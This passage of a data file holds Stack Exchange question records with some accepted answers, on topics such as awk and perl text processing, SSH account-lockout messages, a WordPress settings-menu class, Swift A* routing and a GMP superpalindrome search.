{  "id": "_codereview.54093"  , "question": "I am implementing a Point in polygon algorithm.Inputs:M, N: size of the matrixpoly: a list of tuples that represent the points of polygon. Output:A mask matrix which is ones everywhere, except the point in the polygon should be 0.import numpy as npimport cv2def getABC(x1, y1, x2, y2):    A = y2 - y1    B = x1 - x2    C = A*x1 + B*y1    return (A, B, C)def polygon(M, N, poly):    out = np.ones((M, N))*255    n = len(poly)    for i in range(M):        intersection_x = i        intersection_y = []        # check through all edges        for edge in range(n + 1):            v1_x, v1_y = poly[edge % n]            v2_x, v2_y = poly[(edge + 1) % n]            A1, B1, C1 = getABC(v1_x, v1_y, v2_x, v2_y)            A2 = 1            B2 = 0            C2 = i            # find intersection            det = A1*B2 - A2*B1            if (det != 0):                tmp = (A1 * C2 - A2 * C1)/det                if tmp >= min(v1_y, v2_y) and tmp <= max(v1_y, v2_y):                    intersection_y.append(tmp)    intersection_y = list(set(intersection_y))    print intersection_y    if len(intersection_y) == 1:        intersection_y.append(intersection_y[0])    for k in range(1, len(intersection_y), 2):        out[intersection_x, intersection_y[k - 1]:intersection_y[k]] = 0    return outpoly = [(10,20), (10,40), (30,20), (30,40)]out = polygon(100,100, poly)cv2.imwrite(out.png, out)Is this the optimal algorithm? I use a scanning line, find the intersection with edges and make all the point between the intersections to be zero."  , "title": "Point in a polygon algorithm"  , "tags": "python;algorithm;matrix;numpy;computational geometry"  } 
{  "id": "_unix.387880"  , "question": "On my ssh server, I'm trying to hide the existence of all the users except for one. For any user besides that one user, I will get a Password: prompt which will never allow the user to enter. That's good. But for real users, after a certain number of attempts it will start printing Account locked due to XX failed logins. It will not do this for the non-existant users. How can I disable this message?"  , "title": "SSH account locking reveals real users"  , "tags": "ssh;pam;access control"  , "accepted_answer": "The message Account locked due to XX failed logins is the result of your using pam_tally (most probably pam_tally2). Just comment the corresponding lines in your PAM configuration files."  } 
{  "id": "_unix.277545"  , "question": "I want to search each record (records are defined by blank lines) in a file for the pattern NAME#AAAA. If it matches, then insert an # in front of the record's age and insert a line age NIL at the end of the record. INPUT FILE:NAME#AAAASTD 1SEC AAGE 5NAME#BBBBSTD 2SEC BAGE 6NAME#CCCCSTD 3SEC CAGE 7NAME#AAAASTD 4AGE 9NAME#AAAASTD 7SEC AAGE 12EXPECTED OUTPUTNAME#AAAASTD 1SEC A#AGE 5AGE NILNAME#BBBBSTD 2SEC BAGE 6NAME#CCCCSTD 3SEC CAGE 7NAME#AAAASTD 4#AGE 9AGE NILNAME#AAAASTD 7SEC A#AGE 12AGE NIL"  , "title": "I want to search and replace a pattern"  , "tags": "text processing;awk;sed"  , "accepted_answer": "Whenever you see records separated by blank lines (paragraphs, if you like), Perl's paragraph mode is often a good solution:$ perl -00lpe 'if(/NAME#AAAA/){s/\\bAGE\\s/#$&/; s/$/\\nAGE NIL/;}' fileNAME#AAAASTD 1SEC A#AGE 5AGE NILNAME#BBBBSTD 2SEC BAGE 6NAME#CCCCSTD 3SEC CAGE 7NAME#AAAASTD 4#AGE 9AGE NILNAME#AAAASTD 7SEC A#AGE 12AGE NILExplanation-00 : this activates perl's paragraph mode, where each paragraph (group of non-blank lines until a blank one) is treated as a line.-l : removes trailing newlines from each input record (each paragraph) and adds a newline to each print call.-pe : print each input record aftrer applying the script given by -e to it. So, those flags make perl read over the input file, applying the script to each record, and then printing the result. The script itself does:if(/NAME#AAAA/) : if this record matches NAME#AAAA.s/\\bAGE\\s/#$&/ : The s/foo/bar/ is the substitution operator. It will replace foo with bar. Here, I am replacing AGE with itself preceded by a #. The \\b matches word boundaries, and will exclude things like ADAGE from the match. The $& is a special variable and means whatever was matched. So, s/\\bAGE\\s/#$&/ will replace AGE with #AGE. s/$/\\nAGE NIL/ : The $ matches the end of the record. So replacing it with something else will append to the end of the record. This command appends AGE NIL to the end of the matched record. Note that all operations here are case sensitive. If you need case insensitive matching use this instead:perl -00lpe 'if(/NAME#AAAA/i){s/\\bAGE\\s/#$&/i; s/$/\\nAGE NIL/i;}' file"  } 
{  "id": "_hardwarecs.2702"  , "question": "Looking at recommendations for a graphics card that fulfills the following spec in order of importance:Dual 4K (60hz) capablePassive cooledCheap (only business graphics required)Two displayport/ mini display port connectorsAMD chipset"  , "title": "Passive cooled graphics card for dual 4K screens"  , "tags": "graphics cards;pc;cooling"  } 
{  "id": "_codereview.154525"  , "question": "I have recently delved into the world of OOP programming with PHP. I wanted to add my own custom menu to the Wordpress Admin area, and came across a tutorial, which I have followed, and the code is currently working.What I would like to know, is whether this is the correct way to go about it, is it secure (since it deals with storing stuff in the Database) and can it be improved upon.class AddMenu extends TheGlobalSettings {public $default = array(        'slug'          =>      '',        'title'         =>      '',        'page_title'    =>      '',        'parent'        =>      null,        'id'            =>      '',        'capability'    =>      'manage_options',        'icon'          =>      'dashicons-hammer',        'position'      =>      null,        'desc'          =>      '',        'function'      =>      ''    );public $parentID    =   null;public $menu_options    =   array();function __construct( $options ) {    $this->menu_options = array_merge( $this->default, $options );    if( $this->menu_options['slug'] == '' ) :        return;    endif;    $this->settings_id = $this->menu_options['slug'];    $this->prepopulate();    add_action( 'admin_menu', array( $this, 'add_page' ) );    add_action( 'wordpressmenu_page_save_' . $this->settings_id, array( $this, 'save_settings' ) );}public function prepopulate() {    if( $this->menu_options['title'] == '') :        $this->menu_options['title'] = ucfirst( $this->menu_options['slug'] );    endif;    if( $this->menu_options['page_title'] = '' ) :        $this->menu_options['page_title'] = $this->menu_options['title'];    endif;}public function add_page() {    $functionToUse = $this->menu_options['function'];    if( $functionToUse == '' ) :        $functionToUse = array( $this, 'create_menu_page' );    endif;    if( $this->parent_id != null ) :        add_submenu_page(                $this->parent_id,                $this->menu_options['page_title'],                $this->menu_options['title'],                $this->menu_options['capability'],                $this->menu_options['slug'],                $functionToUse            );    else :        add_menu_page(                 $this->menu_options['page_title'],                $this->menu_options['title'],                $this->menu_options['capability'],                $this->menu_options['slug'],                $functionToUse,                $this->menu_options['icon'],                $this->menu_options['position']            );    endif;}public function create_menu_page() {    $this->save_if_submit();    $tab = 'general';    if( isset( $_GET['tab'] ) ) :        $tab = $_GET['tab'];    endif;    $this->init_settings(); ?>    <div class=wrap>        <h2><?php echo $this->menu_options['page_title']; ?></h2>        <?php if( !empty( $this->menu_options['desc'] ) ) : ?>        <p class=description><?php echo $this->menu_options['desc']; ?></p>        <?php endif;?>        <?php $this->render_tabs(); ?>        <form method=POST action=>            <div class=postbox>                <div class=inside>                    <table class=form-table>                        <?php $this->render_fields( $tab ); ?>                    </table>                    <?php $this->save_button(); ?>                </div>            </div>        </form>    </div><?php}public function render_tabs( $active_tab = 'general' ) {    if( count( $this->tabs ) > 1 ) {        echo '<h2 class=nav-tab-wrapper woo-nav-tab-wrapper>';            foreach ($this->tabs as $key => $value) :                echo '<a href=' . admin_url('admin.php?page=' . $this->menu_options['slug'] . '&tab=' . $key ) . ' class=nav-tab ' .  ( ( $key == $active_tab ) ? 'nav-tab-active' : '' ) . ' >' . $value . '</a>';            endforeach;        echo '</h2>';        echo '<br/>';    }}/** * Render the save button * @return void  */protected function save_button() {     ?>    <button type=submit name=<?php echo $this->settings_id; ?>_save class=button button-primary>        <?php _e( 'Save', 'textdomain' ); ?>    </button>    <?php}/** * Save if the button for this menu is submitted * @return void  */protected function save_if_submit() {    if( isset( $_POST[ $this->settings_id . '_save' ] ) ) {        do_action( 'wordpressmenu_page_save_' . $this->settings_id );    }}}class AddSubPage extends AddMenu {function __construct( $options, AddMenu $parent ) {    parent::__construct( $options );    $this->parent_id = $parent->settings_id;}}class WordPressMenuTab {public $slug;public $title;public $menu;function __construct( $options, AddMenu $menu ) {    $this->slug = $options['slug'];    $this->title = $options['title'];    $this->menu = $menu;    $this->menu->add_tab( $options );}/** * Add field to this tab * @param [type] $array [description] */public function add_field( $array ){    $this->menu->add_field( $array, $this->slug );}}abstract class TheGlobalSettings {/** * ID of the settings * @var string */public $settings_id = '';/** * Tabs for the settings page * @var array */public $tabs = array(     'general' => 'General' );/** * Settings from database * @var array */protected $settings = array();/** * Array of fields for the general tab * array( *  'tab_slug' => array( *      'field_name' => array(), *      ), *  ) * @var array */protected $fields = array();/**  * Data gotten from POST * @var array */protected $posted_data = array();public function init_settings() {    $this->settings = (array) get_option( $this->settings_id );    foreach ( $this->fields as $tab_key => $tab ) {        foreach ( $tab as $name => $field ) {            if( isset( $this->settings[ $name ] ) ) {                $this->fields[ $tab_key ][ $name ]['default'] = $this->settings[ $name ];            }           }    }}/** * Save settings from POST * @return [type] [description] */public function save_settings(){    $this->posted_data = $_POST;    if( empty( $this->settings ) ) {        $this->init_settings();    }    foreach ($this->fields as $tab => $tab_data ) {        foreach ($tab_data as $name => $field) {            $this->settings[ $name ] = $this->{ 'validate_' . $field['type'] }( $name );        }    }    update_option( $this->settings_id, $this->settings );   }/** * Gets and option from the settings API, using defaults if necessary to prevent undefined notices. * * @param  string $key * @param  mixed  $empty_value * @return mixed  The value specified for the option or a default value for the option. */public function get_option( $key, $empty_value = null ) {    if ( empty( $this->settings ) ) {        $this->init_settings();    }    // Get option default if unset.    if ( ! isset( $this->settings[ $key ] ) ) {        $form_fields = $this->fields;        foreach ( $this->tabs as $tab_key => $tab_title ) {            if( isset( $form_fields[ $tab_key ][ $key ] ) ) {                $this->settings[ $key ] = isset( $form_fields[ $tab_key ][ $key ]['default'] ) ? $form_fields[ $tab_key ][ $key ]['default'] : '';            }        }    }    if ( ! is_null( $empty_value ) && empty( $this->settings[ $key ] ) && '' === $this->settings[ $key ] ) {        $this->settings[ $key ] = $empty_value;    }    return $this->settings[ $key ];}public function validate_text( $key ){        $text  = $this->get_option( $key );        if ( isset( $this->posted_data[ $key ] ) ) {            $text = wp_kses_post( trim( stripslashes( $this->posted_data[ $key ] ) ) );        }        return $text;    }    /**     * Validate textarea field     * @param  string $key name of the field     * @return string           */    public function validate_textarea( $key ){        $text  = $this->get_option( $key );        if ( isset( $this->posted_data[ $key ] ) ) {            $text = wp_kses( trim( stripslashes( $this->posted_data[ $key ] ) ),                array_merge(                    array(                        'iframe' => array( 'src' => true, 'style' => true, 'id' => true, 'class' => true )                    ),                    wp_kses_allowed_html( 'post' )                )            );        }        return $text;    }    /**     * Validate WPEditor field     * @param  string $key name of the field     * @return string           */    public function validate_wpeditor( $key ){        $text  = $this->get_option( $key );        if ( isset( $this->posted_data[ $key ] ) ) {            $text = wp_kses( trim( stripslashes( $this->posted_data[ $key ] ) ),                array_merge(                    array(                        'iframe' => array( 'src' => true, 'style' => true, 'id' => true, 'class' => true )                    ),                    wp_kses_allowed_html( 'post' )                )            );        }        return $text;    }    /**     * Validate select field     * @param  string $key name of the field     * @return string           */    public function validate_select( $key ) {        $value = $this->get_option( $key );        if ( isset( $this->posted_data[ $key ] ) ) {            $value = stripslashes( $this->posted_data[ $key ] );        }        return $value;    }    /**     * Validate radio     * @param  string $key name of the field     * @return string           */    public function validate_radio( $key ) {        $value = $this->get_option( $key );        if ( isset( $this->posted_data[ $key ] ) ) {            $value = stripslashes( $this->posted_data[ $key ] );        }        return $value;    }    /**     * Validate checkbox field     * @param  string $key name of the field     * @return string           */    public function validate_checkbox( $key ) {        $status = '';        if ( isset( $this->posted_data[ $key ] ) && ( 1 == $this->posted_data[ $key ] ) ) {            $status = '1';        }        return $status;    }    public function add_field( $array, $tab = 'general' ) {            $allowed_field_types = array(                'text',                'textarea',                'wpeditor',                'select',                'radio',                'checkbox' );            // If a type is set that is now allowed, don't add the field            if( isset( $array['type'] ) &&$array['type'] != '' && ! in_array( $array['type'], $allowed_field_types ) ){                return;            }            $defaults = array(                'name' => '',                'title' => '',                'default' => '',                'placeholder' => '',                'type' => 'text',                'options' => array(),                'default' => '',                'desc' => '',                );            $array = array_merge( $defaults, $array );            if( $array['name'] == '' ) {                return;            }            foreach ( $this->fields as $tabs ) {                if( isset( $tabs[ $array['name'] ] ) ) {                    trigger_error( 'There is alreay a field with name ' . $array['name'] );                    return;                }            }            // If there are options set, then use the first option as a default value            if( ! empty( $array['options'] ) && $array['default'] == '' ) {                $array_keys = array_keys( $array['options'] );                $array['default'] = $array_keys[0];            }            if( ! isset( $this->fields[ $tab ] ) ) {                $this->fields[ $tab ] = array();            }            $this->fields[ $tab ][ $array['name'] ] = $array;        }        /**         * Adding tab         * @param array $array options         */        public function add_tab( $array ) {            $defaults = array(                'slug' => '',                'title' => '' );            $array = array_merge( $defaults, $array );            if( $array['slug'] == '' || $array['title'] == '' ){                return;            }            $this->tabs[ $array['slug'] ] = $array['title'];        }        public function render_fields( $tab ) {            if( ! isset( $this->fields[ $tab ] ) ) :                echo '<p>' . __( 'There are no settings on these page.', 'textdomain' ) . '</p>';                return;            endif;            foreach ( $this->fields[ $tab ] as $name => $field ) :                $this->{ 'render_' . $field['type'] }( $field );            endforeach;        }        public function render_text( $field ){                extract( $field );                ?>                <tr>                    <th>                        <label for=<?php echo $name; ?>><?php echo $title; ?></label>                    </th>                    <td>                        <input type=<?php echo $type; ?> name=<?php echo $name; ?> id=<?php echo $name; ?> value=<?php echo $default; ?> placeholder=<?php echo $placeholder; ?> />                           <?php if( $desc != '' ) {                            echo '<p class=description>' . $desc . '</p>';                        }?>                    </td>                </tr>                <?php            }            /**             * Render textarea field             * @param  string $field options             * @return void                   */            public function render_textarea( $field ){                extract( $field );                ?>                <tr>                    <th>                        <label for=<?php echo $name; ?>><?php echo $title; ?></label>                    </th>                    <td>                        <textarea name=<?php echo $name; ?> id=<?php echo $name; ?> placeholder=<?php echo $placeholder; ?> ><?php echo $default; ?></textarea>                           <?php if( $desc != '' ) {                            echo '<p class=description>' . $desc . '</p>';                        }?>                    </td>                </tr>                <?php            }            /**             * Render WPEditor field             * @param  string $field  options             * @return void                   */            public function render_wpeditor( $field ){                extract( $field );                ?>                <tr>                    <th>                        <label for=<?php echo $name; ?>><?php echo $title; ?></label>                    </th>                    <td>                        <?php wp_editor( $default, $name, array('wpautop' => false) ); ?>                        <?php if( $desc != '' ) {                            echo '<p class=description>' . $desc . '</p>';                        }?>                    </td>                </tr>                <?php            }            /**             * Render select field             * @param  string $field options             * @return void                   */            public function render_select( $field ) {                extract( $field );                ?>                <tr>                    <th>                        <label for=<?php echo $name; ?>><?php echo $title; ?></label>                    </th>                    <td>                        <select name=<?php echo $name; ?> id=<?php echo $name; ?> >                            <?php                                 foreach ($options as $value => $text) {                                    echo '<option ' . selected( $default, $value, false ) . ' value=' . $value . '>' . $text . '</option>';                                }                            ?>                        </select>                        <?php if( $desc != '' ) {                            echo '<p class=description>' . $desc . '</p>';                        }?>                    </td>                </tr>                <?php            }            /**             * Render radio             * @param  string $field options             * @return void                   */            public function render_radio( $field ) {                extract( $field );                ?>                <tr>                    <th>                        <label for=<?php echo $name; ?>><?php echo $title; ?></label>                    </th>                    <td>                        <?php                             foreach ($options as $value => $text) {                                echo '<input name=' . $name . ' id=' . $name . ' type='.  $type . ' ' . checked( $default, $value, false ) . ' value=' . $value . '>' . $text . '</option><br/>';                            }                        ?>                        <?php if( $desc != '' ) {                            echo '<p class=description>' . $desc . '</p>';                        }?>                    </td>                </tr>                <?php            }            /**             * Render checkbox field             * @param  string $field options             * @return void                   */            public function render_checkbox( $field ) {                extract( $field );                ?>                <tr>                    <th>                        <label for=<?php echo $name; ?>><?php echo $title; ?></label>                    </th>                    <td>                        <input <?php checked( $default, '1', true ); ?> type=<?php echo $type; ?> name=<?php echo $name; ?> id=<?php echo $name; ?> value=1 placeholder=<?php echo $placeholder; ?> />                        <?php echo $desc; ?>                    </td>                </tr>                <?php            }}$newMenu = new AddMenu( array( 'slug'      =>      'sitesettings','title'     =>      'Site Settings','desc'      =>      '','icon'      =>      '','position'  =>      5));$newMenu->add_field(array('name' => 'text','title' => 'Text Input','desc' => '' ));$customTab = new WordPressMenuTab( array(    'slug' => 'example_tab',     'title' => 'Example Tab' ), $newMenu );"  , "title": "Custom WordPress Menu"  , "tags": "php;security;wordpress"  } 
{  "id": "_unix.163439"  , "question": "There is an input file that has TAB delimited columns.  We need to remove the lines which has NA for the fourth AND the eleventh column. Question: how can we do this in awk?"  , "title": "How to exclude lines that has given columns?"  , "tags": "text processing;awk"  , "accepted_answer": "awk -F\\t '$4 != NA || $11 != NA' filenameNote, awk does not edit the file in-place. If you want to save the changes back to the file, then:tmp=$(mktemp)awk -F\\t '...' filename > $tmp && mv $tmp filename"  } 
{  "id": "_unix.228532"  , "question": "I have a file that looks like:1    rs6687776    1020428    T    C    T    C    T    C    C    C    T    C    C    C    T    CThe 4th and 5th column are the two different possible alleles at that site. I need to change column 6 onwards so as to show 0 if there is a T allele and 1 if there is a C allele. My file is 20805 x 459. So should look like:1   rs6687776   1020428 T   C   0   1   0   1   1   1   0   1   1   1   0   1I've tried:cat file | while read linedo if [ [,6-] = [,4] ]then    echo 0    echo 1fidoneBut I just end up with a file of alternating 0's and 1's that is 41610 rows long. Maybe AWK is more useful?"  , "title": "Convert genotypes to 0/1"  , "tags": "text processing;awk;replace"  , "accepted_answer": "Here's another awk approach:$ awk '{a[$4]=0;a[$5]=1; for(i=6;i<=NF;i++){$i=a[$i]}}1;' file1 rs6687776 1020428 T C 0 1 0 1 1 1 0 1 1 1 0 1Explanationa[$4]=0;a[$5]=1; : creates the array a with two keys, $4 and $5. The value for $4 is set to 0 and that of $5 to 1. for(i=6;i<=NF;i++){$i=a[$i]} : for each field number from 6 to the last one, set that field to whatever is stored in the array for the nucleotide found. 1; : awk shorthand for print this line.You could also do it with Perl:$ perl -lane 's/$F[3]/0/ for @F[5..$#F]; s/$F[4]/1/ for @F[5..$#F]; print @F' file1 rs6687776 1020428 T C 0 1 0 1 1 1 0 1 1 1 0 1This is the same idea. The -a makes perl act like awk, splitting each line on whitespace into the array @F. We then substitute all cases of the nucleotide found in the 4th field ($F[3], arrays start at 0) with 0 and all cases of the 5th ($F[4]) with 1. The for  @F[5..$#F] means that the substitution is only applied for fields 6 to last. Finally, the modified array is printed. "  } 
{  "id": "_vi.8298"  , "question": "I am trying to use KBC Poker 3 keyboard which combines `,~ and <Esc> as one key with Vim and wondering if it is possible to use the quick press of the escape key as char '`', and long press of escape key (longer than 500ms) as escape key.  Is it possible?"  , "title": "Use the same key for `, ~, esc"  , "tags": "keyboard layout"  , "accepted_answer": "As far as I know there is no built-in support for mappings that change based on the time you hold the key.But as the problematic key is Esc, you have some good alternatives:Use Ctrl+[, which works by default (as explained in :help key-codes):<Esc>       escape          CTRL-[   27 *escape* *<Esc>*As Esc is a heavily used key in Vim, many people use mappings for it, such as jj, jk, or CapsLock:Reaching up to hit the escape key sucksDo you remap your Escape key?Learn Vimscript the Hard Way - chapter 10If you choose to remap the CapsLock (as I did myself), you may find the capslock plugin useful."  } 
{  "id": "_codereview.72106"  , "question": "I'm new to the Swift language. I have a C# version of a simple A* route which is very fast. But I rewrote it with Swift, and the performance is very bad (3,4 seconds for a very simple road).Could someone give me some suggestions? What I thought is that, the loop and compares logic spends most of the time.Here is the entire project.When the app launches, the screen is covered with many white blocks. You could touch on it to switch color to red, blue, yellow etc. Red means blocks; blue means start point; yellow means destination point. We could simply set a point to blue and a yellow from lower left corner to upper right corner; once the yellow color is set, I will execute the route logic; you will see how slow it is.import Foundationimport SpriteKitpublic class RouteManager {    public init(column : Int, row : Int) {        var matrix = [[Bool]]()        for var r : Int = 0; r <= row; r++ {            var oneRow = [Bool]()            for var c : Int = 0; c <= column; c++ {                oneRow.append(false)            }            matrix.append(oneRow)        }        self.matrix = matrix        self.costCalc = SimpleCostCalc()    }    public required init (matrix : [[Bool]]) {        self.matrix = matrix        self.costCalc = SimpleCostCalc()    }    public var matrix : [[Bool]]    public var costCalc : CostCalcProtocal!;    public func route(start : PointInt, destination : PointInt) -> [PointInt]? {        let map = RectInt(x: 0, y: 0, width: matrix[0].count, height: matrix.count)        if(!map.contains(start) || !map.contains(destination)) {            return nil        }        let routeData = RouteData(rect: map, destination: destination)        let startNode = AStarNode(location: start, previousNode: nil, costG: 0, costH: 0)        routeData.openedNodes.append(startNode)        var currentNode = startNode        return routeCore(routeData, currentNode: currentNode)    }    func routeCore (routeData : RouteData, currentNode : AStarNode) -> [PointInt]? {        let start = NSDate()        for direction in routeData.directions {            let nextLocation = currentNode.location.getAdjecentPoint(direction)            if !routeData.rect.contains(nextLocation) {                continue            }            if matrix[nextLocation.y][nextLocation.x] {                continue            }            let costG = costCalc.getCostG(currentNode, direction: direction)            let costH = costCalc.getCostH(nextLocation, destination: routeData.destination)            if costH == 0 {                var result = [PointInt]()                result.append(routeData.destination)                result.insert(currentNode.location, atIndex: 0)                var tempNode = currentNode                while (tempNode.previousNode != nil) {                    result.insert(tempNode.previousNode!.location, atIndex: 0)                    tempNode = tempNode.previousNode!                }                return result            }            let existingNode = getNodeOnLocation(nextLocation, routeData: routeData)            if((existingNode?) != nil) {                if(existingNode!.costG > costG) {                    existingNode!.previousNode = currentNode                    existingNode!.costG = costG                }            }            else {                let newNode = AStarNode(location: nextLocation, previousNode: currentNode, costG: costG, costH: costH)                routeData.openedNodes.append(newNode)            }        }        let currentNodeIndex = indexOf(routeData.openedNodes, item: currentNode)        routeData.openedNodes.removeAtIndex(currentNodeIndex)        routeData.closedNodes.append(currentNode)        println(routeData.openedNodes.count)        let minimumCostNode = getMinimumCostNode(routeData)        if minimumCostNode == nil {            return nil           }        return routeCore(routeData, currentNode: minimumCostNode!)    }    func getMinimumCostNode(routeData : RouteData) -> AStarNode? {        var node : AStarNode? = nil        if(routeData.openedNodes.count != 0) {            for n in routeData.openedNodes {                if node == nil {                    node = n                }                else if node?.costF > n.costF {                    node = n                }            }        }        return node    }    func getNodeOnLocation (location:PointInt, routeData : RouteData) -> AStarNode? {        for node in routeData.openedNodes {            if node.location.x == location.x && node.location.y == location.y {                return node;            }        }        for node in routeData.closedNodes {            if node.location.x == location.x && node.location.y == location.y {                return node            }        }        return nil    }    func indexOf (items : [AStarNode], item : AStarNode) -> Int {        var result = -1        for var index = 0; index < items.count; index++ {            if items[index] === item {                result = index                break            }        }        return result    }}"  , "title": "Performance of A* route"  , "tags": "beginner;performance;pathfinding;swift"  , "accepted_answer": "Without a clue as to what is actually running slow and without enough code to actually compile and time profile myself, the first thing that stands out to me is your nested loop in init.Why don't we replace that nested loop with the following:self.matrix = [[Bool]](count: row, repeatedValue:[Bool](count: column, repeatedValue: false))We have a variable, costCalc, which is of type CostCalcProtocal! (it's spelled protocol by the way).  But there are problems with this...First of all, all of our init messages initialize it to SimpleCostCalc().  Why don't we just put this at the variable declaration?public var costCalc: CostCalcProtocal! = SimpleCostCalc()And we are we abbreviating so much?  I've never once heard autocomplete complain about helping me make my code more readable:public var costCalculator: CostCalculatorProtocol! = SimpleCostCalculator()Much better.But there's still problems here.The question is, do we want to allow the user to set the cost calculator?  This looks a bit like a protocol-delegate pattern, so perhaps we do.  If this is what we want, using the forced unwrapped optional is bad.  It allows the user to set this variable to nil and crash when you try to access it.  For example:let routeManager = RouteManager(column: 3, row: 4)routeManager.costCalc = nillet result = routeManager.routeCore(routeData: foo, currentNode: bar)This will crash.The explicitly unwrapped optional is saying this variable should never be nil... but the fact that it's an optional means it could be nil (and you can set it nil and nothing prevents that).  And the fact that it's forced unwrapped instead of optionally unwrapped means you get a crash.So, if we want to let the user set it, we have two options:public var costCalculator: CostCalculatorProtocol = SimpleCostCalculator()public weak var costCalculator: CostCalculatorProtocol? = SimpleCostCalculator()The first option means non-optional.  We will always have a valid costCalculator object.The second option means optional.  It could possible be nil, but because it's optional with the question mark, that's okay--we'll be checking it for nil every step of the way.But there's also that word weak there.  This may or may not be necessary.If we're following a typical protocol-delegate pattern, this is almost certainly necessary.  In most cases, a delegate has a reference to the object it is delegating.  If the delegate has a strong reference to the delegated object, and the delegated object has a strong reference back to the delegate, we've created what's called a retain-cycle.  Neither object will ever be released by ARC--they'll be kept in memory forever.Making the variable a weak, optional means that if the cost calculator has no other strong references to it, our reference to it will be nil-ed out as it deallocates (and if it was the only strong reference to us, we'll deallocate as well, appropriately)."  } 
{  "id": "_webapps.19840"  , "question": "I've noticed that pages where I have marked with +1 have You +1'd this in Google search results. However, it doesn't seem to affect the order of results, or there may be very small differences I can't see or notice.How do I get pages marked +1 on top of other search results?I was thinking of using it like a read it later or similar service. Like when I mark web pages read it later, but never read them. If +1 marked pages appear on top of search result, it may be the time to read them."  , "title": "How do I get pages marked +1 in Google search results to rise to the top?"  , "tags": "google search;google plus 1"  , "accepted_answer": "According to this WIRED article, +1 Google is investigating wether to consider it as a signal in future updates of the search engine.Google confirmed its plans in an e-mail to Wired.com.Google will study the clicks on +1 buttons as a signal that influences the ranking and appearance of websites in search results, a spokesman wrote. The purpose of any ranking signal is to improve overall search quality. For +1s and other social ranking signals, as with any new ranking signal, well be starting carefully and learning how those signals are related to quality.So, for now at list, the pages you are +1-ing will not change ranking."  } 
{  "id": "_unix.277162"  , "question": "I am experiencing an issue with a indexing program running much longer than expected.  I want to rule out the possibility of a recursive symbolic link.  How could I find a symbolic link that is recursive at some level?"  , "title": "How could I quickly find a recursive symbolic link?"  , "tags": "find;symlink;recursive"  } 
{  "id": "_softwareengineering.164886"  , "question": "I have been programming for a couple of years and have often found myself at a dilemma. There are two solutions - one is simple one i.e. simple approach, easier to understand and maintain. It involves some redundancy, some extra work (extra IO, extra processing)   and therefore is not the most optimal solution. but other uses a complex approach,difficult to implement, often involving interaction between lot of modules and is a performance efficient solution.Which solution should I strive for when I do not have hard performance SLA to meet and even the simple solution can meet the performance SLA? I have felt  disdain among my fellow developers for simple solution. Is it good practice to come up with most optimal complex solution if your performance SLA can be met by a simple solution?"  , "title": "Simple vs Complex (but performance efficient) solution - which one to choose and when?"  , "tags": "design;programming practices;coding style;code quality;performance"  , "accepted_answer": "Which solution should I strive for when I do not have hard performance SLA to meet and even the simple solution can meet the performance SLA? The simple one. It meets spec, it's easier to understand, it's easier to maintain, and it's probably a whole lot less buggy.What you are doing in advocating the performance efficient solution is introducing speculative generality and premature optimization into your code. Don't do it! Performance goes against the grain of just about every other software engineering 'ility' there is (reliability, maintainability, readability, testability, understandability, ...). Chase performance when testing indicates that there truly is a need to chase after performance.Do not chase performance when performance doesn't matter. Even if it does matter, you should only chase performance in those areas where the testing indicates that a performance bottleneck exists. Do not let performance problems be an excuse to replace simple_but_slow_method_to_do_X() with a faster version if that simple version doesn't show up as a bottleneck.Enhanced performance is almost inevitably encumbered with a host of code smell problems. You've mentioned several in the question: A complex approach, difficult to implement, higher coupling. Are those really worth dragging in?"  } 
{  "id": "_codereview.16451"  , "question": "A question was asked over at math.SE (here) about whether or not there are infinitely many superpalindromes.  I'm going to rephrase the definition to a more suitable one for coding purposes:Definition:  A superpalindrome is a product of primes p(1) * p(2) * ... * p(k), where p(i)<=p(i+1) for 1<=i<=k-1, such that p(1) * p(2) * ... * p(r) is a palindrome for all 1 <= r <= k.A natural question to ask, is whether or not there's an infinite number of superpalindromes with all of its prime factors <=N.  Thus, we can use a depth-first search.Here is my implementation in C using GMP, but I'm wondering if there is some ways to give non-trivial run-time improvements.#include <stdio.h>#include <gmp.h>// search for superpalindromes containing prime factors in {2,3,...,q}// where q is the MAX_NR_PRIMES-th prime#define MAX_NR_PRIMES 20000#define MAX_SEARCH_DEPTH 100#define MAX_NR_DIGITS 10000// start backtracking at the (STARTING_PRIME_ID+1)-th prime#define STARTING_PRIME_ID 0mpz_t list_of_small_primes[MAX_NR_PRIMES];mpz_t n_new[MAX_SEARCH_DEPTH];int max_depth_reached=0;mpz_t nr_superpalindromes_found[MAX_SEARCH_DEPTH];// checks if n is a palindrome// idea borrowed from http://gmplib.org/list-archives/gmp-discuss/2012-February/004876.htmlint is_palindrome(mpz_t n) {  char m[MAX_NR_DIGITS];  int len=gmp_sprintf(m,%Zd,n);  for(int i=0;i<len;i++) {    if(m[i]!=m[len-i-1]) return 0;  }  return 1;}// depth-first search for superpalindromes// searches for a prime p:=list_of_small_primes[i_new], with i_new>=i// such that n*p is a palindrome; continues searching if one is foundint extend_superpalindrome_backtracking_algorithm(mpz_t n,int i,int depth) {  for(int i_new=i;i_new<MAX_NR_PRIMES;i_new++) {    // n_new[depth]:=n*p    mpz_mul(n_new[depth],n,list_of_small_primes[i_new]);    if(is_palindrome(n_new[depth])) {      // increment count of number of superpalindromes with depth+1 prime factors      mpz_add_ui(nr_superpalindromes_found[depth],nr_superpalindromes_found[depth],1);      // print out the first superpalindrome found with >depth+1 prime factors      if(depth>max_depth_reached) {        max_depth_reached=depth;        gmp_printf(superpalindrome found: %Zd at depth %d: ,n_new[depth],depth+1);        mpz_t primes[MAX_SEARCH_DEPTH];        for(int i=0;i<MAX_SEARCH_DEPTH;i++) mpz_init(primes[i]);        mpz_set(primes[0],n_new[0]);        for(int i=1;i<=depth;i++) mpz_divexact(primes[i],n_new[i],n_new[i-1]);        for(int i=0;i<=depth;i++) gmp_printf(%Zd ,primes[i]);        printf(\\n);        for(int i=0;i<MAX_SEARCH_DEPTH;i++) mpz_clear(primes[i]);      }      // continue the depth-first search if superpalindrome found      extend_superpalindrome_backtracking_algorithm(n_new[depth],i_new,depth+1);    }  }}int main() {  mpz_t n,p;  mpz_init_set_ui(n,1);  mpz_init_set(p,list_of_small_primes[STARTING_PRIME_ID]);  for(int i=0;i<MAX_SEARCH_DEPTH;i++) mpz_init(n_new[i]);  for(int i=0;i<MAX_SEARCH_DEPTH;i++) mpz_init(nr_superpalindromes_found[i]);  for(int i=0;i<MAX_NR_PRIMES;i++) mpz_init(list_of_small_primes[i]);  // pre-compute small primes  mpz_set_ui(list_of_small_primes[0],2);  for(int i=1;i<MAX_NR_PRIMES;i++) mpz_nextprime(list_of_small_primes[i],list_of_small_primes[i-1]);  